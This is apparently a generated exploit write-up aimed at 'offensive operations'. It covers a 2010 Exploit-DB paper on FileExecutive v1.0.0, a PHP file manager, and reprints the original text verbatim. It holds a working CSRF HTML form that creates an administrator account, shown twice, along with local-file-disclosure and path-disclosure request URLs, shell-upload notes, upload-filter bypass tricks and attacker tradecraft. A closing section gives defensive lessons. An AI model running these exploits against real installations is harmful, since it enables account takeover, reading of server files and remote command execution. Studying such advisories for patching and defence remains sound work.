Exploiting FileExecutive v1.0.0: A Deep Dive for Offensive Operations

Exploiting FileExecutive v1.0.0: A Deep Dive for Offensive Operations
What this paper is
This paper, published by ViRuSMaN in 2010, details multiple vulnerabilities found in FileExecutive v1.0.0, a web-based file manager written in PHP. The vulnerabilities include:
- Add/Edit Admin CSRF: A Cross-Site Request Forgery (CSRF) vulnerability that allows an attacker to add or edit administrator accounts.
- Shell Upload: A remote file upload vulnerability that enables an attacker to upload and execute arbitrary files (shells).
- Local File Disclosure (LFD): A vulnerability allowing an attacker to read arbitrary files from the server.
- Full Path Disclosure (FPD): A vulnerability that reveals the full server path to files.
The paper provides proof-of-concept (PoC) code for the CSRF exploit and describes the nature of the other vulnerabilities.
Simple technical breakdown
FileExecutive is a PHP application designed to manage files through a web interface. The vulnerabilities arise from how the application handles user input and authentication.
- CSRF: The
add_user.phpscript, which handles adding new users, does not properly validate the origin of the request. This means a malicious website can trick a logged-in administrator into submitting a request toadd_user.php, effectively allowing the attacker to create a new administrator account without the administrator's knowledge. - Shell Upload: The application likely has a mechanism for uploading files, and this mechanism is not sufficiently secured. Attackers can upload a malicious script (a "shell") that, once uploaded, can be accessed and executed via a web browser, giving the attacker control over server commands.
- LFD: The
download.phpscript, intended for downloading files, appears to be susceptible to directory traversal. By manipulating thefileparameter, an attacker can trick the script into reading and returning the contents of files outside the intended download directory. - FPD: The
listdir.phpscript, when handling directory listing requests, may inadvertently reveal the absolute path of files or directories on the server in its error messages or output.
Complete code and payload walkthrough
The provided paper contains HTML code for the CSRF exploit and descriptive text for the other vulnerabilities.
Add/Edit Admin CSRF Exploit Code
<html>
<head>
<title>FileExecutive Remote Add Admin Exploit [By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form action='http://localhost/scripts/file/admin/add_user.php' method='POST' onSubmit='return chk(this)'>
<th colspan='5'>Add A user<hr></th>
<td>Username:</td>
<input type='text' name='username' value='' maxlength='32' onkeyup="showHint(this.value)">
<Br>
<td>Password:</td>
<input type='text' name='password' value=''>
<Br>
<td>Name:</td>
<input type='text' name='name' value='' maxlength='32'>
<Br>
<td>Root Directory:</td>
<input type='text' name='root' value='' maxlength='200'>
<Br>
<td>Max Upload Size:</td>
<input type='text' name='uload_maxsize' value='' size='8'>
<Br>
<select name='multiplier'>
<option value='1' selected>Bytes</option>
<option value='1024'>KB</option>
<option value='1048576'>MB</option>
</select>
<td>Group:</td><td><select name='groupid' id='groupid'><option value='0' selected>No Group</option></select></td>
<td>Use Group permissions?</td><td>Yes:<input type='radio' name='grp_perms' value='1'></td><td>No:<input type='radio' name='grp_perms' value='0' id="abc" checked></td>
<td>Is user Admin?</td><td>Yes:<input type='radio' name='admin' value='1'></td><td>No:<input type='radio' name='admin' value='0' id="abc" checked>
<td colspan='2'><fieldset><legend>Permissions</legend>
<td><input type='checkbox' name='mkfile' value='1'>Create File</td> <td><input type='checkbox' name='mkdir' value='1'>Create Folder</td>
<td><input type='checkbox' name='uload' value='1'>Upload</td> <td><input type='checkbox' name='rename' value='1'>Rename</td>
<td><input type='checkbox' name='delete' value='1'>Delete</td> <td><input type='checkbox' name='edit' value='1'>Edit</td>
<td><input type='checkbox' name='dload' value='1'>Download</td> <td><input type='checkbox' name='chmod' value='1'>Chmod</td>
<td><input type='checkbox' name='move' value='1'>Move</td> <td> </td></tr>
<td colspan='2'><input type='submit' value='Add User' name='sub'> <input type='button' value='Cancel' onclick='top.location="index.php"'></td>
</form>
</body>
</html>Explanation of the CSRF code:
<html>,<head>,<body>: Standard HTML structure.<title>: Sets the title of the HTML page.<meta http-equiv="Content-Type" ...>: Specifies the character encoding.<form action='http://localhost/scripts/file/admin/add_user.php' method='POST' onSubmit='return chk(this)'>:action='http://localhost/scripts/file/admin/add_user.php': This is the crucial part. It defines the target URL where the form data will be sent. In a real attack,localhostwould be replaced with the IP address or domain of the vulnerable FileExecutive installation.method='POST': Specifies that the data will be sent using the HTTP POST method.onSubmit='return chk(this)': This suggests there's a JavaScript functionchk()intended to validate the form before submission. For a CSRF exploit, this JavaScript would ideally be bypassed or not present on the attacker's crafted page.
<th colspan='5'>Add A user<hr></th>: A table header for the form.- Input Fields (
<input type='text'>,<select>,<option>,<input type='radio'>,<input type='checkbox'>): These define the fields that will be sent toadd_user.php. The attacker can pre-fill these fields with desired values to create a new administrator.username,password,name,root,uload_maxsize: Text fields for user credentials and settings.multiplier: A select dropdown to specify the unit for upload size (Bytes, KB, MB).groupid: A select dropdown for user groups.grp_perms: Radio buttons to enable/disable group permissions.admin: Radio buttons to designate the user as an administrator (value='1') or not (value='0'). This is key for creating an admin.- Permission checkboxes (
mkfile,mkdir,uload,rename,delete,edit,dload,chmod,move): These allow the attacker to grant specific privileges to the new user.
<input type='submit' value='Add User' name='sub'>: The submit button. When this form is submitted, the data is sent toadd_user.php.<input type='button' value='Cancel' onclick='top.location="index.php"'>: A cancel button that redirects the user away from the form.
Mapping of code fragments to practical purpose:
action='http://localhost/scripts/file/admin/add_user.php': Target URL for the exploit. This is the script that will be manipulated.method='POST': Data transmission method. Standard for form submissions.name='username',name='password',name='admin': User creation parameters. The attacker sets these to create a new admin account.name='admin'withvalue='1'is critical.value='1'forname='admin': Privilege escalation. This specific value makes the newly created user an administrator.onSubmit='return chk(this)': Potential JavaScript defense. Ifchk()performs client-side validation that prevents the exploit, it needs to be bypassed or removed.
Shell Upload Vulnerability Description
The paper states:[»] By Go To The End Of Page & Browse Your Shell 2 upload it <-=- Remote File Upload Vulnerability
This indicates that there is a file upload functionality within FileExecutive, likely accessible through a web interface. The vulnerability allows an attacker to upload an arbitrary file, which can be a web shell (e.g., a PHP script that provides command execution capabilities). The phrase "Browse Your Shell 2 upload it" suggests that after uploading the shell, the attacker can then navigate to its URL to execute it.
Local File Disclosure (LFD) Vulnerability Description
The paper states:[»] http://localhost/[path]/download.php?file=./LFD <-=- Local File Disclosure Vulnerability
This points to a vulnerability in download.php. The file parameter is used to specify which file to download. The example file=./LFD is likely a placeholder. By using directory traversal sequences like ../ or specifying absolute paths, an attacker could potentially read sensitive files from the server, such as configuration files (/etc/passwd, database credentials, etc.).
Full Path Disclosure (FPD) Vulnerability Description
The paper states:[»] http://localhost/[path]/listdir.php?dir=./FPD <-=- Full Path Disclosure Vulnerability
This suggests that the listdir.php script, when given a directory path (possibly malformed or with specific input), reveals the full server path in its output or error messages. This information can be valuable for attackers to understand the server's file system structure.
Practical details for offensive operations teams
Add/Edit Admin CSRF
- Required Access Level: Low. The attacker does not need any prior authentication to the FileExecutive application itself. They only need to trick a user who is authenticated and has administrative privileges into visiting a malicious page.
- Lab Preconditions:
- A target FileExecutive v1.0.0 installation accessible via HTTP/HTTPS.
- An administrator account logged into the target FileExecutive installation.
- A separate web server controlled by the attacker to host the CSRF exploit page.
- Tooling Assumptions:
- A web browser for the victim.
- A web server (e.g., Apache, Nginx, Python's SimpleHTTPServer) to host the exploit HTML.
- Knowledge of the target's FileExecutive installation path (e.g.,
http://target.com/fileexecutive/).
- Execution Pitfalls:
- JavaScript Validation: If the
chk()JavaScript function on the targetadd_user.phppage performs robust client-side validation that cannot be bypassed, the exploit may fail. - Browser Security: Modern browsers have some CSRF protections, but they are not always foolproof, especially for older applications.
- Target Path: The
actionURL in the exploit HTML must precisely match the target's installation path. - Session Expiration: The victim's administrator session must be active when they visit the malicious page.
- Content Security Policy (CSP): If the target server has a strict CSP, it might prevent the form submission to a different origin or domain.
- JavaScript Validation: If the
- Expected Telemetry:
- Target Server Logs: An entry in the web server access logs showing a POST request to
/scripts/file/admin/add_user.phpfrom the victim's IP address. The request will contain the parameters for the new user. - FileExecutive Logs (if any): Logs within the application itself might record the addition of a new user.
- Victim's Browser: The victim might see a brief flash of a form submission or a redirect, depending on how the exploit page is crafted.
- Target Server Logs: An entry in the web server access logs showing a POST request to
Shell Upload
- Required Access Level: Low. Typically, this vulnerability is exploitable without authentication if the upload functionality is exposed publicly. If it requires authentication, then low to medium, depending on the privileges needed to access the upload feature.
- Lab Preconditions:
- A target FileExecutive v1.0.0 installation.
- Knowledge of the upload script's URL.
- A crafted web shell (e.g., a PHP file with command execution code).
- Tooling Assumptions:
- A web browser or an HTTP client (like
curlor Burp Suite) to upload the shell. - A web shell payload.
- A web browser or an HTTP client (like
- Execution Pitfalls:
- File Type Restrictions: The application might restrict uploads based on file extension (e.g., only
.jpg,.png). Attackers often use techniques like double extensions (.php.jpg) or bypasses (e.g., uploading a.htaccessfile to execute.phpfiles if Apache is used). - File Content Validation: The application might scan uploaded files for malicious content.
- Shell Location: The attacker needs to know the exact URL to access the uploaded shell. This might be predictable or require further enumeration.
- Permissions: The uploaded shell needs to be placed in a directory that is executable by the web server.
- File Type Restrictions: The application might restrict uploads based on file extension (e.g., only
- Expected Telemetry:
- Target Server Logs: POST requests to the upload script, potentially showing the uploaded filename.
- File System Changes: The presence of the uploaded shell file on the server.
- Subsequent HTTP Requests: GET requests to the URL of the uploaded shell, which will execute the shell's code.
Local File Disclosure (LFD)
- Required Access Level: Low. Exploitable via a GET request to a specific script.
- Lab Preconditions:
- A target FileExecutive v1.0.0 installation.
- Knowledge of the
download.phpscript's URL.
- Tooling Assumptions:
- A web browser or an HTTP client (e.g.,
curl, Burp Suite) to craft requests.
- A web browser or an HTTP client (e.g.,
- Execution Pitfalls:
- Path Restrictions: The script might have some basic checks to prevent traversal outside specific directories.
- File Permissions: The web server user might not have read permissions for the sensitive files being targeted.
- Error Handling: If the script handles errors gracefully without revealing paths, the exploit might be harder.
- Sanitization: Input sanitization on the
fileparameter could prevent traversal.
- Expected Telemetry:
- Target Server Logs: GET requests to
download.phpwith manipulatedfileparameters. - Application Logs: If the application logs file access attempts or errors, these might be visible.
- Data Exfiltration: The content of the disclosed file will be returned in the HTTP response.
- Target Server Logs: GET requests to
Full Path Disclosure (FPD)
- Required Access Level: Low. Exploitable via a GET request.
- Lab Preconditions:
- A target FileExecutive v1.0.0 installation.
- Knowledge of the
listdir.phpscript's URL.
- Tooling Assumptions:
- A web browser or an HTTP client to craft requests.
- Execution Pitfalls:
- Error Handling: The script might have robust error handling that suppresses path information.
- Input Sanitization: The
dirparameter might be sanitized, preventing the disclosure.
- Expected Telemetry:
- Target Server Logs: GET requests to
listdir.phpwith manipulateddirparameters. - Application Logs: Errors related to directory listing might contain path information.
- HTTP Response: The full path will be visible in the server's response, often within an error message.
- Target Server Logs: GET requests to
Where this was used and when
- Context: Web applications, specifically file managers.
- Approximate Years/Dates: The paper was published in February 2010. Therefore, these vulnerabilities were relevant around 2010 and likely earlier, as it takes time to discover and publish exploits. FileExecutive v1.0.0 was likely in use prior to this date.
Defensive lessons for modern teams
- CSRF Protection: Always implement robust CSRF protection for any state-changing requests. This typically involves using unique, unpredictable tokens per session or per request, validated on the server-side.
- Input Validation and Sanitization: Rigorously validate and sanitize all user inputs, especially those used in file paths, database queries, or command executions. Prevent directory traversal (
../) and other malicious patterns. - Secure File Uploads:
- Whitelisting: Only allow uploads of specific, known-safe file types.
- Rename Uploads: Rename uploaded files to prevent execution of malicious scripts.
- Content Scanning: Scan uploaded files for malware.
- Storage: Store uploaded files outside the web root or in a non-executable directory.
- Permissions: Ensure the web server process has minimal necessary file system permissions.
- Principle of Least Privilege: Ensure that web applications and their underlying processes run with the minimum privileges required to function.
- Disable Debugging/Verbose Errors in Production: Avoid displaying detailed error messages or stack traces to end-users in production environments, as they can reveal sensitive information like full paths.
- Regular Patching and Updates: Keep all web applications and their dependencies updated to patch known vulnerabilities.
- Web Application Firewalls (WAFs): Use WAFs to detect and block common web attacks, including CSRF, LFD, and shell uploads.
ASCII visual (if applicable)
This exploit primarily targets a web application's backend logic and user interaction. A simple flow diagram for the CSRF exploit can illustrate the attack vector.
+-----------------+ +--------------------+ +--------------------------+
| Attacker's Host |----->| Victim's Browser |----->| Target FileExecutive App |
| (Malicious Page)| | (Admin Logged In) | | (localhost/scripts/...) |
+-----------------+ +--------------------+ +--------------------------+
^ |
| |
| (Victim visits attacker's page) | (POST request to add_user.php)
| |
+------------------------------------------------------+
|
v
+--------------------+
| New Admin Account |
| Created/Modified |
+--------------------+Explanation of the diagram:
- The Attacker's Host serves a malicious HTML page.
- The Victim's Browser, with an administrator session active for the target FileExecutive application, visits the attacker's page.
- The malicious page contains a hidden form that automatically submits a POST request to the Target FileExecutive App's
add_user.phpscript. - Because the request originates from the victim's browser (which is authenticated), the FileExecutive application processes it as a legitimate request, creating or modifying an administrator account.
Source references
- Paper ID: 11580
- Paper Title: FileExecutive 1 - Multiple Vulnerabilities
- Author: ViRuSMaN
- Published: 2010-02-26
- Keywords: AIX, webapps
- Paper URL: https://www.exploit-db.com/papers/11580
- Raw URL: https://www.exploit-db.com/raw/11580
Original Exploit-DB Content (Verbatim)
==============================================================================
[»] Thx To : [ Jiko ,H.Scorpion ,Dr.Bahy ,T3rr0rist ,Golden-z3r0 ,Shr7 Team . ]
==============================================================================
[»] FileExecutive Multiple Vulnerabilities
==============================================================================
[»] Script: [ FileExecutive v1.0.0 ]
[»] Language: [ PHP ]
[»] Site page: [ FileExecutive is a web-based file manager written in PHP. ]
[»] Download: [ http://sourceforge.net/projects/fileexecutive/ ]
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
[»] Greetz to: [ HackTeach Team , Egyptian Hackers , All My Friends & Islam-Defenders.Org ]
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]
###########################################################################
===[ Exploits ]===
Add/Edit Admin CSRF:
<html>
<head>
<title>FileExecutive Remote Add Admin Exploit [By:MvM]</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body>
<form action='http://localhost/scripts/file/admin/add_user.php' method='POST' onSubmit='return chk(this)'>
<th colspan='5'>Add A user<hr></th>
<td>Username:</td>
<input type='text' name='username' value='' maxlength='32' onkeyup="showHint(this.value)">
<Br>
<td>Password:</td>
<input type='text' name='password' value=''>
<Br>
<td>Name:</td>
<input type='text' name='name' value='' maxlength='32'>
<Br>
<td>Root Directory:</td>
<input type='text' name='root' value='' maxlength='200'>
<Br>
<td>Max Upload Size:</td>
<input type='text' name='uload_maxsize' value='' size='8'>
<Br>
<select name='multiplier'>
<option value='1' selected>Bytes</option>
<option value='1024'>KB</option>
<option value='1048576'>MB</option>
</select>
<td>Group:</td><td><select name='groupid' id='groupid'><option value='0' selected>No Group</option></select></td>
<td>Use Group permissions?</td><td>Yes:<input type='radio' name='grp_perms' value='1'></td><td>No:<input type='radio' name='grp_perms' value='0' id="abc" checked></td>
<td>Is user Admin?</td><td>Yes:<input type='radio' name='admin' value='1'></td><td>No:<input type='radio' name='admin' value='0' id="abc" checked>
<td colspan='2'><fieldset><legend>Permissions</legend>
<td><input type='checkbox' name='mkfile' value='1'>Create File</td> <td><input type='checkbox' name='mkdir' value='1'>Create Folder</td>
<td><input type='checkbox' name='uload' value='1'>Upload</td> <td><input type='checkbox' name='rename' value='1'>Rename</td>
<td><input type='checkbox' name='delete' value='1'>Delete</td> <td><input type='checkbox' name='edit' value='1'>Edit</td>
<td><input type='checkbox' name='dload' value='1'>Download</td> <td><input type='checkbox' name='chmod' value='1'>Chmod</td>
<td><input type='checkbox' name='move' value='1'>Move</td> <td> </td></tr>
<td colspan='2'><input type='submit' value='Add User' name='sub'> <input type='button' value='Cancel' onclick='top.location="index.php"'></td>
</form>
</body>
</html>
Shell Upload:
[»] By Go To The End Of Page & Browse Your Shell 2 upload it <-=- Remote File Upload Vulnerability
Local File Disclosure:
[»] http://localhost/[path]/download.php?file=./LFD <-=- Local File Disclosure Vulnerability
Full Path Disclosure:
[»] http://localhost/[path]/listdir.php?dir=./FPD <-=- Full Path Disclosure Vulnerability
Author: ViRuSMaN <-
###########################################################################